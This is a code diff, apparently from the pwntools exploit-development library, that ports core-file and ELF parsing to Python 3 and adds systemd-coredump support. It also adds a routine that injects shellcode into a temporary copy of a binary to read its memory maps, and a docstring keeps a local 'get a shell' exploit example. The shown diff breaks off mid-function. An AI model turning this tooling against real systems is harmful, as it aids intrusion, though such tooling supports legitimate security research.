@@ -52,8 +52,8 @@ dump to extract the relevant information.
 
     # Get a shell!
     io = process(['./crash', payload])
-    io.sendline('id')
-    print io.recvline()
+    io.sendline(b'id')
+    print(io.recvline())
     # uid=1000(user) gid=1000(user) groups=1000(user)
 
 Module Members
@@ -61,6 +61,7 @@ Module Members
 
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import collections
 import ctypes
@@ -69,9 +70,11 @@ import gzip
 import re
 import os
 import socket
-import StringIO
+import subprocess
 import tempfile
 
+from io import BytesIO, StringIO
+
 import elftools
 from elftools.common.py3compat import bytes2str
 from elftools.common.utils import roundup
@@ -144,7 +147,7 @@ def iter_notes(self):
 class Mapping(object):
     """Encapsulates information about a memory mapping in a :class:`Corefile`.
     """
-    def __init__(self, core, name, start, stop, flags):
+    def __init__(self, core, name, start, stop, flags, page_offset):
         self._core=core
 
         #: :class:`str`: Name of the mapping, e.g. ``'/bin/bash'`` or ``'[vdso]'``.
@@ -159,6 +162,9 @@ class Mapping(object):
         #: :class:`int`: Size of the mapping, in bytes
         self.size = stop-start
 
+        #: :class:`int`: Offset in pages in the mapped file
+        self.page_offset = page_offset or 0
+
         #: :class:`int`: Mapping flags, using e.g. ``PROT_READ`` and so on.
         self.flags = flags
 
@@ -184,12 +190,13 @@ class Mapping(object):
         return '%x-%x %s %x %s' % (self.start,self.stop,self.permstr,self.size,self.name)
 
     def __repr__(self):
-        return '%s(%r, start=%#x, stop=%#x, size=%#x, flags=%#x)' \
+        return '%s(%r, start=%#x, stop=%#x, size=%#x, flags=%#x, page_offset=%#x)' \
             % (self.__class__.__name__,
                self.name,
                self.start,
                self.stop,
                self.size,
+               self.page_offset,
                self.flags)
 
     def __int__(self):
@@ -297,21 +304,21 @@ class Corefile(ELF):
     ::
 
         >>> Corefile('./core').mappings
-        [Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5),
-         Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x4),
-         Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x6),
-         Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6),
-         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, size=0x1a8000, flags=0x5),
-         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, size=0x1000, flags=0x0),
-         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, size=0x2000, flags=0x4),
-         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, size=0x1000, flags=0x6),
-         Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6),
-         Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6),
-         Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5),
-         Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, size=0x20000, flags=0x5),
-         Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000, size=0x1000, flags=0x4),
-         Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000, size=0x1000, flags=0x6),
-         Mapping('[stack]', start=0xfff3e000, stop=0xfff61000, size=0x23000, flags=0x6)]
+        [Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5, page_offset=0x0),
+         Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x4, page_offset=0x1),
+         Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x6, page_offset=0x2),
+         Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6, page_offset=0x0),
+         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, size=0x1a8000, flags=0x5, page_offset=0x0),
+         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, size=0x1000, flags=0x0, page_offset=0x1a8),
+         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, size=0x2000, flags=0x4, page_offset=0x1a9),
+         Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, size=0x1000, flags=0x6, page_offset=0x1aa),
+         Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6, page_offset=0x0),
+         Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6, page_offset=0x0),
+         Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5, page_offset=0x0),
+         Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, size=0x20000, flags=0x5, page_offset=0x0),
+         Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000, size=0x1000, flags=0x4, page_offset=0x20),
+         Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000, size=0x1000, flags=0x6, page_offset=0x21),
+         Mapping('[stack]', start=0xfff3e000, stop=0xfff61000, size=0x23000, flags=0x6, page_offset=0x0)]
 
     Example:
 
@@ -382,16 +389,16 @@ class Corefile(ELF):
         Data can also be extracted directly from the corefile.
 
         >>> core.exe[elf.address:elf.address+4]
-        '\x7fELF'
+        b'\x7fELF'
         >>> core.exe.data[:4]
-        '\x7fELF'
+        b'\x7fELF'
 
         Various other mappings are available by name.  On Linux, 32-bit Intel binaries
         should have a VDSO section.  Since our ELF is statically linked, there is
         no libc which gets mapped.
 
         >>> core.vdso.data[:4]
-        '\x7fELF'
+        b'\x7fELF'
         >>> core.libc # doctest: +ELLIPSIS
         Mapping('/lib/x86_64-linux-gnu/libc-...', ...)
 
@@ -400,8 +407,8 @@ class Corefile(ELF):
         should contain two pointer-widths of NULL bytes, preceded by the NULL-
         terminated path to the executable (as passed via the first arg to ``execve``).
 
-        >>> stack_end = core.exe.name
-        >>> stack_end += '\x00' * (1+8)
+        >>> stack_end = core.exe.name.encode()
+        >>> stack_end += b'\x00' * (1+8)
         >>> core.stack.data.endswith(stack_end)
         True
         >>> len(core.stack.data) == core.stack.size
@@ -412,12 +419,12 @@ class Corefile(ELF):
         >>> 'HELLO' in core.env
         True
         >>> core.getenv('HELLO')
-        'WORLD'
+        b'WORLD'
         >>> core.argc
         1
         >>> core.argv[0] in core.stack
         True
-        >>> core.string(core.argv[0]) == core.exe.path
+        >>> core.string(core.argv[0]) == core.exe.path.encode()
         True
 
         Corefiles can also be pulled from remote machines via SSH!
@@ -455,7 +462,7 @@ class Corefile(ELF):
         >>> io.wait()
         >>> core = io.corefile
         >>> core.getenv('FOO')
-        'BAR=BAZ'
+        b'BAR=BAZ'
         >>> core.sp == 0
         True
         >>> core.sp in core.stack
@@ -478,7 +485,7 @@ class Corefile(ELF):
         [!] End of the stack is corrupted, skipping stack parsing (got: 4141414141414141)
         >>> core.argc, core.argv, core.env
         (0, [], {})
-        >>> core.stack.data.endswith('AAAA')
+        >>> core.stack.data.endswith(b'AAAA')
         True
         >>> core.fault_addr == core.sp
         True
@@ -512,12 +519,21 @@ class Corefile(ELF):
         #:       address of the string "BAR\x00".
         self.env = {}
 
+        #: :class:`int`: Pointer to envp on the stack
+        self.envp_address = 0
+
         #: :class:`list`: List of addresses of arguments on the stack.
         self.argv = []
 
+        #: :class:`int`: Pointer to argv on the stack
+        self.argv_address = 0
+
         #: :class:`int`: Number of arguments passed
         self.argc = 0
 
+        #: :class:`int`: Pointer to argc on the stack
+        self.argc_address = 0
+
         # Pointer to the executable filename on the stack
         self.at_execfn = 0
 
@@ -555,6 +571,8 @@ class Corefile(ELF):
                 # for NT_PRSTATUS, NT_PRPSINFO, NT_AUXV, etc.
                 # For this reason, we have to check if note.n_type is any of several values.
                 for note in iter_notes(segment):
+                    if not isinstance(note.n_desc, bytes):
+                        note['n_desc'] = note.n_desc.encode('latin1')
                     # Try to find NT_PRSTATUS.
                     if prstatus_type and \
                        note.n_descsz == ctypes.sizeof(prstatus_type) and \
@@ -587,7 +605,7 @@ class Corefile(ELF):
                             self._parse_auxv(note)
 
             if not self.stack and self.mappings:
-                self.stack = self.mappings[-1]
+                self.stack = self.mappings[-1].stop
 
             if self.stack and self.mappings:
                 for mapping in self.mappings:
@@ -622,16 +640,19 @@ class Corefile(ELF):
         for i in range(count):
             start = t.unpack()
             end = t.unpack()
-            ofs = t.unpack()
-            starts.append(start)
+            offset = t.unpack()
+            starts.append((start, offset))
 
         for i in range(count):
-            filename = t.recvuntil('\x00', drop=True)
-            start = starts[i]
+            filename = t.recvuntil(b'\x00', drop=True)
+            if not isinstance(filename, str):
+                filename = filename.decode('utf-8')
+            (start, offset) = starts[i]
 
             for mapping in self.mappings:
                 if mapping.start == start:
                     mapping.name = filename
+                    mapping.page_offset = offset
 
         self.mappings = sorted(self.mappings, key=lambda m: m.start)
 
@@ -648,7 +669,7 @@ class Corefile(ELF):
             if mapping.start == self.at_sysinfo_ehdr \
             or (not vdso and mapping.size in [0x1000, 0x2000] \
                 and mapping.flags == 5 \
-                and self.read(mapping.start, 4) == '\x7fELF'):
+                and self.read(mapping.start, 4) == b'\x7fELF'):
                 mapping.name = '[vdso]'
                 vdso = True
                 continue
@@ -701,6 +722,8 @@ class Corefile(ELF):
 
                 if not m.name and self.at_execfn:
                     m.name = self.string(self.at_execfn)
+                    if not isinstance(m.name, str):
+                        m.name = m.name.decode('utf-8')
 
                 return m
 
@@ -776,7 +799,7 @@ class Corefile(ELF):
         if fault_addr == 0 and self.siginfo.si_code == 0x80:
             try:
                 code = self.read(self.pc, 1)
-                RET = '\xc3'
+                RET = b'\xc3'
                 if code == RET:
                     fault_addr = self.unpack(self.sp)
             except Exception:
@@ -854,7 +877,8 @@ class Corefile(ELF):
                               None,
                               s.header.p_vaddr,
                               s.header.p_vaddr + s.header.p_memsz,
-                              s.header.p_flags)
+                              s.header.p_flags,
+                              None)
             self.mappings.append(mapping)
 
     def _parse_auxv(self, note):
@@ -898,7 +922,7 @@ class Corefile(ELF):
             return
 
         # If the stack does not end with zeroes, something is very wrong.
-        if not stack.data.endswith('\x00' * 8):
+        if not stack.data.endswith(b'\x00' * 8):
             log.warn_once("End of the stack is corrupted, skipping stack parsing (got: %s)",
                           enhex(self.data[-8:]))
             return
@@ -910,7 +934,7 @@ class Corefile(ELF):
             address = stack.stop
             address -= 2*self.bytes
             address -= 1
-            address = stack.rfind('\x00', None, address)
+            address = stack.rfind(b'\x00', None, address)
             address += 1
             self.at_execfn = address
 
@@ -919,7 +943,7 @@ class Corefile(ELF):
 
         # Sanity check!
         try:
-            assert stack[address] == '\x00'
+            assert stack[address] == b'\x00'
         except AssertionError:
             # Something weird is happening.  Just don't touch it.
             log.debug("Something is weird")
@@ -933,7 +957,7 @@ class Corefile(ELF):
 
         # address is currently set to the NULL terminator of the last
         # environment variable.
-        address = stack.rfind('\x00', None, address)
+        address = stack.rfind(b'\x00', None, address)
 
         # We've found the beginning of the last environment variable.
         # We should be able to search up the stack for the envp[] array to
@@ -957,10 +981,10 @@ class Corefile(ELF):
         # Now let's find the end of argv
         p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr)
 
-        start_of_envp = p_end_of_argv + self.bytes
+        self.envp_address = p_end_of_argv + self.bytes
 
         # Now we can fill in the environment
-        env_pointer_data = stack[start_of_envp:p_last_env_addr+self.bytes]
+        env_pointer_data = stack[self.envp_address:p_last_env_addr+self.bytes]
         for pointer in unpack_many(env_pointer_data):
 
             # If the stack is corrupted, the pointer will be outside of
@@ -973,7 +997,7 @@ class Corefile(ELF):
             except Exception:
                 continue
 
-            name, value = name_value.split('=', 1)
+            name, _ = name_value.split(b'=', 1)
 
             # "end" points at the byte after the null terminator
             end = pointer + len(name_value) + 1
@@ -986,6 +1010,8 @@ class Corefile(ELF):
             if end not in stack:
                 continue
 
+            if not isinstance(name, str):
+                name = name.decode('utf-8', 'surrogateescape')
             self.env[name] = pointer + len(name) + len('=')
 
         # May as well grab the arguments off the stack as well.
@@ -998,10 +1024,12 @@ class Corefile(ELF):
             address -= self.bytes
 
         # address now points at argc
-        self.argc = self.unpack(address)
+        self.argc_address = address
+        self.argc = self.unpack(self.argc_address)
 
         # we can extract all of the arguments as well
-        self.argv = unpack_many(stack[address + self.bytes: p_end_of_argv])
+        self.argv_address = self.argc_address + self.bytes
+        self.argv = unpack_many(stack[self.argv_address: p_end_of_argv])
 
     @property
     def maps(self):
@@ -1009,7 +1037,7 @@ class Corefile(ELF):
 
         ::
 
-            >>> print Corefile('./core').maps
+            >>> print(Corefile('./core').maps)
             8048000-8049000 r-xp 1000 /home/user/pwntools/crash
             8049000-804a000 r--p 1000 /home/user/pwntools/crash
             804a000-804b000 rw-p 1000 /home/user/pwntools/crash
@@ -1045,8 +1073,10 @@ class Corefile(ELF):
             >>> io = elf.process(env={'GREETING': 'Hello!'})
             >>> io.wait()
             >>> io.corefile.getenv('GREETING')
-            'Hello!'
+            b'Hello!'
         """
+        if not isinstance(name, str):
+            name = name.decode('utf-8', 'surrogateescape')
         if name not in self.env:
             log.error("Environment variable %r not set" % name)
 
@@ -1111,7 +1141,7 @@ class Coredump(Corefile):
 class CorefileFinder(object):
     def __init__(self, proc):
         if proc.poll() is None:
-            log.error("Process %i has not exited" % (process.pid))
+            log.error("Process %i has not exited" % (proc.pid))
 
         self.process = proc
         self.pid = proc.pid
@@ -1171,7 +1201,10 @@ class CorefileFinder(object):
             new_path = 'core.%i' % core_pid
             if core_pid > 0 and new_path != self.core_path:
                 write(new_path, self.read(self.core_path))
-                self.unlink(self.core_path)
+                try:
+                    self.unlink(self.core_path)
+                except (IOError, OSError):
+                    log.warn("Could not delete %r" % self.core_path)
                 self.core_path = new_path
 
         # Check the PID
@@ -1232,7 +1265,7 @@ class CorefileFinder(object):
         Returns:
             `str`: Raw binary data for the core file, or ``None``.
         """
-        file = StringIO.StringIO(crashfile_data)
+        file = StringIO(crashfile_data)
 
         # Find the pid of the crashfile
         for line in file:
@@ -1261,8 +1294,8 @@ class CorefileFinder(object):
             chunks.append(b64d(line))
 
         # Smush everything together, then extract it
-        compressed_data = ''.join(chunks)
-        compressed_file = StringIO.StringIO(compressed_data)
+        compressed_data = b''.join(chunks)
+        compressed_file = BytesIO(compressed_data)
         gzip_file = gzip.GzipFile(fileobj=compressed_file)
         core_data = gzip_file.read()
 
@@ -1293,14 +1326,44 @@ class CorefileFinder(object):
 
         return data
 
+    def systemd_coredump_corefile(self):
+        """Find the systemd-coredump crash for the process and dump it to a file.
+
+        Arguments:
+            process(process): Process object we're looking for.
+
+        Returns:
+            `str`: Filename of core file, if coredump was found.
+        """
+        filename = "core.%s.%i.coredumpctl" % (self.basename, self.pid)
+        try:
+            subprocess.check_call(
+                [
+                    "coredumpctl",
+                    "dump",
+                    "--output=%s" % filename,
+                    # Filter coredump by pid and filename
+                    str(self.pid),
+                    self.basename,
+                ],
+                stdout=open(os.devnull, 'w'),
+                stderr=subprocess.STDOUT,
+                shell=False,
+            )
+            return filename
+        except subprocess.CalledProcessError as e:
+            log.debug("coredumpctl failed with status: %d" % e.returncode)
+
     def native_corefile(self):
         """Find the corefile for a native crash.
 
         Arguments:
             process(process): Process whose crash we should find.
 
+        Returns:
+            `str`: Filename of core file.
         """
-        if self.kernel_core_pattern.startswith('|'):
+        if self.kernel_core_pattern.startswith(b'|'):
             log.debug("Checking for corefile (piped)")
             return self.native_corefile_pipe()
 
@@ -1308,26 +1371,37 @@ class CorefileFinder(object):
         return self.native_corefile_pattern()
 
     def native_corefile_pipe(self):
-        """native_corefile_pipe(self) -> str
+        """Find the corefile for a piped core_pattern
+
+        Supports apport and systemd-coredump.
+
+        Arguments:
+            process(process): Process whose crash we should find.
+
+        Returns:
+            `str`: Filename of core file.
         """
-        # We only support apport
-        if '/apport' not in self.kernel_core_pattern:
-            log.warn_once("Unsupported core_pattern: %r" % self.kernel_core_pattern)
+        if b'/apport' in self.kernel_core_pattern:
+            log.debug("Found apport in core_pattern")
+            apport_core = self.apport_corefile()
+
+            if apport_core:
+                # Write the corefile to the local directory
+                filename = 'core.%s.%i.apport' % (self.basename, self.pid)
+                with open(filename, 'wb+') as f:
+                    f.write(apport_core)
+                return filename
+
+            # Pretend core_pattern was just 'core', and see if we come up with anything
+            self.kernel_core_pattern = 'core'
+            return self.native_corefile_pattern()
+        elif b'systemd-coredump' in self.kernel_core_pattern:
+            log.debug("Found systemd-coredump in core_pattern")
+            return self.systemd_coredump_corefile()
+        else:
+            log.warn_once("Unsupported core_pattern: %r", self.kernel_core_pattern)
             return None
 
-        apport_core = self.apport_corefile()
-
-        if apport_core:
-            # Write the corefile to the local directory
-            filename = 'core.%s.%i.apport' % (self.basename, self.pid)
-            with open(filename, 'wb+') as f:
-                f.write(apport_core)
-            return filename
-
-        # Pretend core_pattern was just 'core', and see if we come up with anything
-        self.kernel_core_pattern = 'core'
-        return self.native_corefile_pattern()
-
     def native_corefile_pattern(self):
         """
         %%  a single % character
@@ -1347,7 +1421,7 @@ class CorefileFinder(object):
         """
         replace = {
             '%%': '%',
-            '%e': self.basename,
+            '%e': os.path.basename(self.interpreter) or self.basename,
             '%E': self.exe.replace('/', '!'),
             '%g': str(self.gid),
             '%h': socket.gethostname(),
@@ -1358,8 +1432,10 @@ class CorefileFinder(object):
             '%s': str(-self.process.poll()),
             '%u': str(self.uid)
         }
-        replace = dict((re.escape(k), v) for k, v in replace.iteritems())
+        replace = dict((re.escape(k), v) for k, v in replace.items())
         pattern = re.compile("|".join(replace.keys()))
+        if not hasattr(self.kernel_core_pattern, 'encode'):
+            self.kernel_core_pattern = self.kernel_core_pattern.decode('utf-8')
         core_pattern = self.kernel_core_pattern
         corefile_path = pattern.sub(lambda m: replace[re.escape(m.group(0))], core_pattern)
 
@@ -1445,7 +1521,7 @@ class CorefileFinder(object):
                 continue
 
             magic = bytearray(unhex(keys['magic']))
-            mask  = bytearray('\xff' * len(magic))
+            mask  = bytearray(b'\xff' * len(magic))
 
             if 'mask' in keys:
                 mask = bytearray(unhex(keys['mask']))

pwnlib/elf/datatypes.py

@@ -29,6 +29,7 @@
 #  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 #  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 #
+from __future__ import division
 
 import ctypes
 

pwnlib/elf/elf.py

@@ -9,13 +9,13 @@ Example Usage
 .. code-block:: python
 
     >>> e = ELF('/bin/cat')
-    >>> print hex(e.address) #doctest: +SKIP
+    >>> print(hex(e.address)) #doctest: +SKIP
     0x400000
-    >>> print hex(e.symbols['write']) #doctest: +SKIP
+    >>> print(hex(e.symbols['write'])) #doctest: +SKIP
     0x401680
-    >>> print hex(e.got['write']) #doctest: +SKIP
+    >>> print(hex(e.got['write'])) #doctest: +SKIP
     0x60b070
-    >>> print hex(e.plt['write']) #doctest: +SKIP
+    >>> print(hex(e.plt['write'])) #doctest: +SKIP
     0x401680
 
 You can even patch and save the files.
@@ -24,25 +24,28 @@ You can even patch and save the files.
 
     >>> e = ELF('/bin/cat')
     >>> e.read(e.address+1, 3)
-    'ELF'
+    b'ELF'
     >>> e.asm(e.address, 'ret')
     >>> e.save('/tmp/quiet-cat')
-    >>> disasm(file('/tmp/quiet-cat','rb').read(1))
+    >>> disasm(open('/tmp/quiet-cat','rb').read(1))
     '   0:   c3                      ret'
 
 Module Members
 --------------
 """
 from __future__ import absolute_import
+from __future__ import division
 
-import codecs
 import collections
 import gzip
 import mmap
 import os
 import re
-import StringIO
+import six
 import subprocess
+import tempfile
+
+from six import BytesIO
 
 from collections import namedtuple
 
@@ -72,12 +75,14 @@ from pwnlib.context import context
 from pwnlib.elf.config import kernel_configuration
 from pwnlib.elf.config import parse_kconfig
 from pwnlib.elf.datatypes import constants
+from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
 from pwnlib.elf.plt import emulate_plt_instructions
 from pwnlib.log import getLogger
 from pwnlib.term import text
 from pwnlib.tubes.process import process
 from pwnlib.util import misc
 from pwnlib.util import packing
+from pwnlib.util.fiddling import unhex
 from pwnlib.util.sh_string import sh_string
 
 log = getLogger(__name__)
@@ -172,7 +177,7 @@ class ELF(ELFFile):
            0x41dac0
            >>> u32(bash.read(bash.got['read'], 4))
            0x41dac6
-           >>> print bash.disasm(bash.plt.read, 16)
+           >>> print(bash.disasm(bash.plt.read, 16))
            0:   ff 25 1a 18 2d 00       jmp    QWORD PTR [rip+0x2d181a]        # 0x2d1820
            6:   68 59 00 00 00          push   0x59
            b:   e9 50 fa ff ff          jmp    0xfffffffffffffa60
@@ -188,6 +193,7 @@ class ELF(ELFFile):
     functions = {}
     endian = 'little'
     address = 0x400000
+    linker = None
 
     # Whether to fill gaps in memory with zeroed pages
     _fill_gaps = True
@@ -206,10 +212,6 @@ class ELF(ELFFile):
 
         super(ELF,self).__init__(self.mmap)
 
-        #: IntervalTree which maps all of the loaded memory segments
-        self.memory = intervaltree.IntervalTree()
-        self._populate_memory()
-
         #: :class:`str`: Path to the file
         self.path = os.path.abspath(path)
 
@@ -217,7 +219,7 @@ class ELF(ELFFile):
         #:
         #: See: :attr:`.ContextType.arch`
         self.arch = self.get_machine_arch()
-        if isinstance(self.arch, (str, unicode)):
+        if isinstance(self.arch, (bytes, six.text_type)):
             self.arch = self.arch.lower()
 
         #: :class:`dotdict` of ``name`` to ``address`` for all symbols in the ELF
@@ -252,7 +254,7 @@ class ELF(ELFFile):
         self.bits = self.elfclass
 
         #: :class:`int`: Pointer width, in bytes
-        self.bytes = self.bits / 8
+        self.bytes = self.bits // 8
 
         if self.arch == 'mips':
             mask = lambda a, b: a & b == b
@@ -266,6 +268,10 @@ class ELF(ELFFile):
                 self.arch = 'mips64'
                 self.bits = 64
 
+        #: IntervalTree which maps all of the loaded memory segments
+        self.memory = intervaltree.IntervalTree()
+        self._populate_memory()
+
         # Is this a native binary? Should we be checking QEMU?
         try:
             with context.local(arch=self.arch):
@@ -287,13 +293,13 @@ class ELF(ELFFile):
         self.load_addr = self._address
 
         # Try to figure out if we have a kernel configuration embedded
-        IKCFG_ST='IKCFG_ST'
+        IKCFG_ST=b'IKCFG_ST'
 
         for start in self.search(IKCFG_ST):
             start += len(IKCFG_ST)
-            stop = self.search('IKCFG_ED').next()
+            stop = next(self.search(b'IKCFG_ED'))
 
-            fileobj = StringIO.StringIO(self.read(start, stop-start))
+            fileobj = BytesIO(self.read(start, stop-start))
 
             # Python gzip throws an exception if there is non-Gzip data
             # after the Gzip stream.
@@ -313,8 +319,20 @@ class ELF(ELFFile):
 
         for seg in self.iter_segments_by_type('PT_INTERP'):
             self.executable = True
+
+            #: ``True`` if the ELF is statically linked
             self.statically_linked = False
 
+            #: Path to the linker for the ELF
+            self.linker = self.read(seg.header.p_vaddr, seg.header.p_memsz)
+            self.linker = self.linker.rstrip(b'\x00')
+
+        #: Operating system of the ELF
+        self.os = 'linux'
+
+        if self.linker and self.linker.startswith(b'/system/bin/linker'):
+            self.os = 'android'
+
         #: ``True`` if the ELF is a shared library
         self.library = not self.executable and self.elftype == 'DYN'
 
@@ -334,13 +352,15 @@ class ELF(ELFFile):
             log.warn("Could not populate PLT: %s", e)
 
         self._populate_synthetic_symbols()
-        self._populate_libraries()
         self._populate_functions()
         self._populate_kernel_version()
 
         if checksec:
             self._describe()
 
+        self._libs = None
+        self._maps = None
+
     @staticmethod
     @LocalContext
     def from_assembly(assembly, *a, **kw):
@@ -380,7 +400,7 @@ class ELF(ELFFile):
 
         Example:
 
-            >>> e = ELF.from_bytes('\x90\xcd\x80', vma=0xc000)
+            >>> e = ELF.from_bytes(b'\x90\xcd\x80', vma=0xc000)
             >>> print(e.disasm(e.entry, 3))
                 c000:       90                      nop
                 c001:       cd 80                   int    0x80
@@ -424,9 +444,15 @@ class ELF(ELFFile):
         return pwnlib.gdb.debug([self.path] + argv, *a, **kw)
 
     def _describe(self, *a, **kw):
-        log.info_once('\n'.join((repr(self.path),
-                                '%-10s%s-%s-%s' % ('Arch:', self.arch, self.bits, self.endian),
-                                self.checksec(*a, **kw))))
+        log.info_once(
+            '%s\n%-10s%s-%s-%s\n%s',
+            repr(self.path),
+            'Arch:',
+            self.arch,
+            self.bits,
+            self.endian,
+            self.checksec(*a, **kw)
+        )
 
     def __repr__(self):
         return "ELF(%r)" % self.path
@@ -475,6 +501,41 @@ class ELF(ELFFile):
             if t == seg.header.p_type or t in str(seg.header.p_type):
                 yield seg
 
+    def get_segment_for_address(self, address, size=1):
+        """get_segment_for_address(address, size=1) -> Segment
+
+        Given a virtual address described by a ``PT_LOAD`` segment, return the
+        first segment which describes the virtual address.  An optional ``size``
+        may be provided to ensure the entire range falls into the same segment.
+
+        Arguments:
+            address(int): Virtual address to find
+            size(int): Number of bytes which must be available after ``address``
+                in **both** the file-backed data for the segment, and the memory
+                region which is reserved for the data.
+
+        Returns:
+            Either returns a :class:`.segments.Segment` object, or ``None``.
+        """
+        for seg in self.iter_segments_by_type("PT_LOAD"):
+            mem_start = seg.header.p_vaddr
+            mem_stop  = seg.header.p_memsz + mem_start
+
+            if not (mem_start <= address <= address+size < mem_stop):
+                continue
+
+            offset = self.vaddr_to_offset(address)
+
+            file_start = seg.header.p_offset
+            file_stop  = seg.header.p_filesz + file_start
+
+            if not (file_start <= offset <= offset+size < file_stop):
+                continue
+
+            return seg
+
+        return None
+
     @property
     def sections(self):
         """
@@ -599,6 +660,20 @@ class ELF(ELFFile):
         """
         return [s for s in self.segments if not s.header.p_flags & P_FLAGS.PF_W]
 
+    @property
+    def libs(self):
+        """Dictionary of {path: address} for every library loaded for this ELF."""
+        if self._libs is None:
+            self._populate_libraries()
+        return self._libs
+
+    @property
+    def maps(self):
+        """Dictionary of {name: address} for every mapping in this ELF's address space."""
+        if self._maps is None:
+            self._populate_libraries()
+        return self._maps
+
     @property
     def libc(self):
         """:class:`.ELF`: If this :class:`.ELF` imports any libraries which contain ``'libc[.-]``,
@@ -620,40 +695,140 @@ class ELF(ELFFile):
         >>> any(map(lambda x: 'libc' in x, bash.libs.keys()))
         True
         """
+        # Patch some shellcode into the ELF and run it.
+        maps = self._patch_elf_and_read_maps()
 
-        # We need a .dynamic section for dynamically linked libraries
-        if not self.get_section_by_name('.dynamic') or self.statically_linked:
-            self.libs= {}
-            return
+        self._maps = maps
+        self._libs = {}
 
-        # We must also specify a 'PT_INTERP', otherwise it's a 'statically-linked'
-        # binary which is also position-independent (and as such has a .dynamic).
-        for segment in self.iter_segments_by_type('PT_INTERP'):
-            break
-        else:
-            self.libs = {}
-            return
+        for lib, address in maps.items():
 
+            # Filter out [stack] and such from the library listings
+            if lib.startswith('['):
+                continue
+
+            # Any existing files we can just use
+            if os.path.exists(lib):
+                self._libs[lib] = address
+
+            # Try etc/qemu-binfmt, as per Ubuntu
+            if not self.native:
+                ld_prefix = qemu.ld_prefix()
+
+                qemu_lib = os.path.join(ld_prefix, lib)
+                qemu_lib = os.path.realpath(qemu_lib)
+
+                if os.path.exists(qemu_lib):
+                    self._libs[qemu_lib] = address
+
+    def _patch_elf_and_read_maps(self):
+        """patch_elf_and_read_maps(self) -> dict
+
+        Read ``/proc/self/maps`` as if the ELF were executing.
+
+        This is done by replacing the code at the entry point with shellcode which
+        dumps ``/proc/self/maps`` and exits, and **actually executing the binary**.
+
+        Returns:
+            A ``dict`` mapping file paths to the lowest address they appear at.
+            Does not do any translation for e.g. QEMU emulation, the raw results
+            are returned.
+
+            If there is not enough space to inject the shellcode in the segment
+            which contains the entry point, returns ``{}``.
+
+        Doctests:
+
+            These tests are just to ensure that our shellcode is correct.
+
+            >>> for arch in CAT_PROC_MAPS_EXIT:
+            ...   with context.local(arch=arch):
+            ...     sc = shellcraft.cat("/proc/self/maps")
+            ...     sc += shellcraft.exit()
+            ...     sc = asm(sc)
+            ...     sc = enhex(sc)
+            ...     assert sc == CAT_PROC_MAPS_EXIT[arch]
+        """
+
+        # Get our shellcode
+        sc = CAT_PROC_MAPS_EXIT.get(self.arch, None)
+
+        if sc is None:
+            log.error("Cannot patch /proc/self/maps shellcode into %r binary", self.arch)
+
+        sc = unhex(sc)
+
+        # Ensure there is enough room in the segment where the entry point resides
+        # in order to inject our shellcode.
+        seg = self.get_segment_for_address(self.entry, len(sc))
+        if not seg:
+            log.warn_once("Could not inject code to determine memory mapping for %r: Not enough space", self)
+            return {}
+
+        # Create our temporary file
+        # NOTE: We cannot use "with NamedTemporaryFile() as foo", because we cannot
+        # execute the file while the handle is open.
+        fd, path = tempfile.mkstemp()
+
+        # Close the file descriptor so that it may be executed
+        os.close(fd)
+
+        # Save off a copy of the ELF
+        self.save(path)
+
+        # Load a new copy of the ELF at the temporary file location
+        old = self.read(self.entry, len(sc))
         try:
-            cmd = 'ulimit -s unlimited; LD_TRACE_LOADED_OBJECTS=1 LD_WARN=1 LD_BIND_NOW=1 %s 2>/dev/null' % sh_string(self.path)
+            self.write(self.entry, sc)
+            self.save(path)
+        finally:
+            # Restore the original contents
+            self.write(self.entry, old)
 
-            data = subprocess.check_output(cmd, shell = True, stderr = subprocess.STDOUT)
-            libs = misc.parse_ldd_output(data)
+        # Make the file executable
+        os.chmod(path, 0o755)
 
-            for lib in dict(libs):
-                if os.path.exists(lib):
-                    continue
+        # Run a copy of it, get the maps
+        try:
+            with context.silent:
+                io = process(path)
